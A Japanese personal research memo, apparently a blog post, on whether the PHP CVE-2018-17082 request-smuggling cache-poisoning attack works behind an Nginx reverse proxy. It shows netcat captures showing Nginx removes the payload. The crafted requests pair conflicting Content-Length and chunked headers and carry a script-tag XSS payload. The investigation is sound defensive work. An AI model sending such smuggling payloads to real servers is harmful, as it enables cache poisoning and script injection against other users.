以下は、特に公表を目的としない個人的な備忘録であるが、公開のメモであるので、もちろん指摘やコメントなどは歓迎する。
PHPの脆弱性 CVE-2018-17082 についてYouTube動画を制作するために、この脆弱性についてあらためて調べているが、Nginxをキャッシュサーバーにしている(リバースPROXYとしてNginxを使っている)場合の挙動についてきちんと調べていなかったので調べ直した。主に以下の記事に関係する。
PHPの脆弱性 CVE-2018-17082 によるキャッシュ汚染についての注意喚起
ブラウザ <--> リバースプロキシ(Nginx) <--> Apache2 + PHP という構成を前提としている
今までの調査で、Nginxが挟まっている場合攻撃が刺さらないことは判明しているが、なぜ刺さらないかを追っかけきれていなかった。
NginxとApacheの間の通信をキャプチャするには、tcpdumpを使うのが一般的だろうが、ちょっと面倒くさいなと思っていたところ、Apacheのリクエストを調べるだけならApacheの代わりにNetcatを使えば簡単じゃねと思いたち、さっそくやってみた。
徳丸本VMではApacheは88ポートで動いているので、以下のコマンドでApacheを停止してNetcatで88ポートで待ち受ける。
$ sudo systemctl stop apache2
$ sudo nc -l -p 88
この状態で、Nginxに以下のリクエストを送信する。
GET http://example.jp/31/31-001.php HTTP/1.1
User-Agent: Mozilla/5.0
Content-Length: 44
Transfer-Encoding: chunked
Host: example.jp
5 <script>alert('Hacked')</script>
ABCDE
0
Content-LengthヘッダとTransfer-Encodingヘッダを重ね打ちするのが、HTTP Request Smuggling(HRS)の攻撃手法である(参考動画)。ちなみに、チャンク長5の後の文字列はRFC 7230ではChunk Extensionsという扱いになると思う(参考: Chunk Extensions)。
だが、Netcat側の表示は下記となる。
$ sudo nc -l -p 88
GET /31/31-001.php HTTP/1.1
Host: example.jp
X-Real-IP: 192.168.56.1
X-Remote-Addr: 192.168.56.1
X-Forwarded-For: 192.168.56.1
Connection: close
Content-Length: 5
User-Agent: Mozilla/5.0
ABCDE$
NginxはHTTPリクエストのContent-Lengthヘッダを無視し(これはRFC的に正しい挙動)て、Transfer-Encoding: chunkedを正しく解釈しているが、ApacheへのリクエストはContent-Length形式に変更している。リクエストの意味は同じなので、これでよいわけだ。
では、Transfer-Encoding: chunkedなリクエストを送信するにはどうすればよいか調べてみると、Nginxの設定として以下を指定すればよいことがわかった。
proxy_request_buffering off;
proxy_http_version 1.1;
参考: Module ngx_http_proxy_module
これを指定して同じHTTPリクエストを投げるが、挙動はまったく変わらない。そうか、Nginxはリクエストをすべて受け取り終わっているから、Transfer-Encoding: chunked形式を使う必要がないのだ。
それでは、というわけで、途中までHTTPリクエストをNginxに投げてみる(読者むけ注記: ここからがハイライトです)。
GET http://example.jp/31/31-001.php HTTP/1.1
User-Agent: Mozilla/5.0
Content-Length: 41
Transfer-Encoding: chunked
Host: example.jp
5 <script>alert('Hacked')</script>
ABCDE
すると、目論見通り、Chunked Encodigが終端されていないので、NginxはApacheにChunked Encodingのリクエストを投げる
$ sudo nc -l -p 88
GET /31/31-001.php HTTP/1.1
Host: example.jp
X-Real-IP: 192.168.56.1
X-Remote-Addr: 192.168.56.1
X-Forwarded-For: 192.168.56.1
Connection: close
Transfer-Encoding: chunked
User-Agent: Mozilla/5.0
5
ABCDE
だが、二重の意味で攻撃には至らないことが分かった。
- Content-Lengthが削除される(RFC的には正しい挙動)
- チャンク長の後のscriptタグ(Chunk Extensions)が削除される
攻撃のためには、どちらも欠かせないのだが、両方消されてしまうので、Nginx経由での攻撃は見込みがないと判断した(あっけないエンディング)。